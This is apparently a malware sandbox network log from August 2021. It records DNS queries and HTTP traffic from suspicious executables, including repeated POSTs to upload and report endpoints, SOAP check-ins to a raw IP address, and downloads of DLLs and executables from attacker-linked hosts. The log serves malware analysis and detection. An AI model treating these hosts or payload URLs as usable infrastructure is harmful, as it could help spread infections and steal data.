                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:17 GMT
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 328
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:21 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 224
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:24 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/25/sqlite.dat
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/25/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:24 GMT
                                                                                                                                                                                                                                          Content-Length: 578665
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Wed, 28 Jul 2021 11:35:53 GMT
                                                                                                                                                                                                                                          etag: "8d469-5c82d6395701a"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XKcl1eE7ZA0vINCv3vNEioQSVGXbD2IW%2FpuIdJIF%2BTpaD16cLoAQRqo9L9deVr0YDJcJ2relMpj9%2Fp%2B39NmKRbiB29XbtIvsJp%2B8sp49OiuNMpeMZn5GLFP8hZu4JaAd"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b29be1d4c5b-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/sqlite.dll
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/sqlite.dll HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:26 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Content-Length: 75776
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Sun, 15 Aug 2021 13:23:49 GMT
                                                                                                                                                                                                                                          etag: "12800-5c998feb85e3f"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Tn4KXPtCzcbj%2Fg8ydSsk65OwMmylz0MVOz3OT8eVCuXfqVvmD4dS4LZFfrXokA9kwuubZ%2BOiEWW%2FiB9yeV2LzqKf84RoQv74q%2FujD5nR%2FLE%2F5V3ew%2BZVguomddSPh0L0"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b3688874c5b-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          Cleaner_Installation.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.243.129.215
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.201.81.34
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.208.186.182
                                                                                                                                                                                                                                          paybiz.herokuapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          54.224.34.30
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:27 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:29:21 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://paybiz.herokuapp.com/stinstaller/ALL_INSTALLS_REPORT_OPEN/Cleaner/A/empty/empty/395c8595-63a7-4f0f-90a6-c51cd6710e04/49.1/empty
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          54.243.129.215:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /stinstaller/ALL_INSTALLS_REPORT_OPEN/Cleaner/A/empty/empty/395c8595-63a7-4f0f-90a6-c51cd6710e04/49.1/empty HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded; charset=utf-8
                                                                                                                                                                                                                                          User-Agent: AdvancedInstaller
                                                                                                                                                                                                                                          Host: paybiz.herokuapp.com
                                                                                                                                                                                                                                          Content-Length: 38
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: Cowboy
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: Express
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:26 GMT
                                                                                                                                                                                                                                          Via: 1.1 vegur
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 310
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          b.upstloans.net
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          b.upstloans.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          b.upstloans.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.179.248
                                                                                                                                                                                                                                          b.upstloans.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.31.210
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://b.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.179.248:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /report7.4.php HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: b.upstloans.net
                                                                                                                                                                                                                                          Content-Length: 278
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:26 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qOWcwoUe589zF5bVt312u3SujTGybGK3bjT0SVvnac6KkH4fKSGcRk8AWcQXAQa9%2BqAkW3NQsdKeLjzO3GKhIHbPg1AYvl9EdVx1%2Fi4JyztpwI4noM9s4WdwFu6eoMO2gHk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b3a5ec34248-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ihyPFzPAtuaJDA.ihyPFzPAtuaJDA
                                                                                                                                                                                                                                          Esplorarne.exe.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ihyPFzPAtuaJDA.ihyPFzPAtuaJDA
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://a.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.31.210:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /report7.4.php HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: a.upstloans.net
                                                                                                                                                                                                                                          Content-Length: 278
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:27 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2fS1PJpVN0gF7ulGAFUnURbPxW9xn8wIzAc55vPFSoJshCdrpPoC%2BReL8awSZws5HeS4Szehx1eYcGPf7NV5tDBzx4mEbb5BDnHa3RGD4Jg%2FMNe6FfBBUNgHwyrAqDJ%2BimU%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b3deab44be2-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 128
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:28 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 56
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://a.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.31.210:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /report7.4.php HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: a.upstloans.net
                                                                                                                                                                                                                                          Content-Length: 250
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BS4xUkriseAfnyJy6uD7gSakzte%2FwpdJ3KNmKwfiFwPE026agcIhgnccsGmJkUBpsBtb0oZif57wce9LohknH0LMJqEam9RArVCpwwttCrFinyGViHuMxbI6WMYjtYucsiI%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b425b5a0ba5-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/stats/first.php?name=gcleaner.exe&pub=/mixfive%20
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /stats/first.php?name=gcleaner.exe&pub=/mixfive%20 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:27 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=mixfive&user=Admin
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /check.php?pub=mixfive&user=Admin HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: F6-VJ-a7-9w-g-8
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:34 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://45.138.172.28/blog/images/sefile2.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.138.172.28:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /blog/images/sefile2.exe HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Host: 45.138.172.28
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:29 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.37 (centos)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:00:02 GMT
                                                                                                                                                                                                                                          ETag: "50600-5ca0ed8f85ecb"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 329216
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 294
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:32 GMT
